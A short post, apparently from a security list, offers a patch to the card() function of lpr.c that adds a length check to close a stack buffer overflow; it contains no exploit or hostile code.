  Here is a little patch -- see file lpr.c, function card():
("!!" marks added lines)

--------------------------------------------------------------------------
static void card(c, p2)
        register int c;
        register char *p2;
{
        char buf[BUFSIZ];
        register char *p1 = buf;
        register int len = 2;


        if (strlen(p2) > BUFSIZ-2)                     /* !! */
        {                                              /* !! */
                printf("No, thanks...\n");             /* !! */
                exit(1);                               /* !! */
        }
        *p1++ = c;
        while ((c = *p2++) != '\0') {
                *p1++ = (c == '\n') ? ' ' : c;
                len++;
        }
        *p1++ = '\n';
        write(tfd, buf, len);
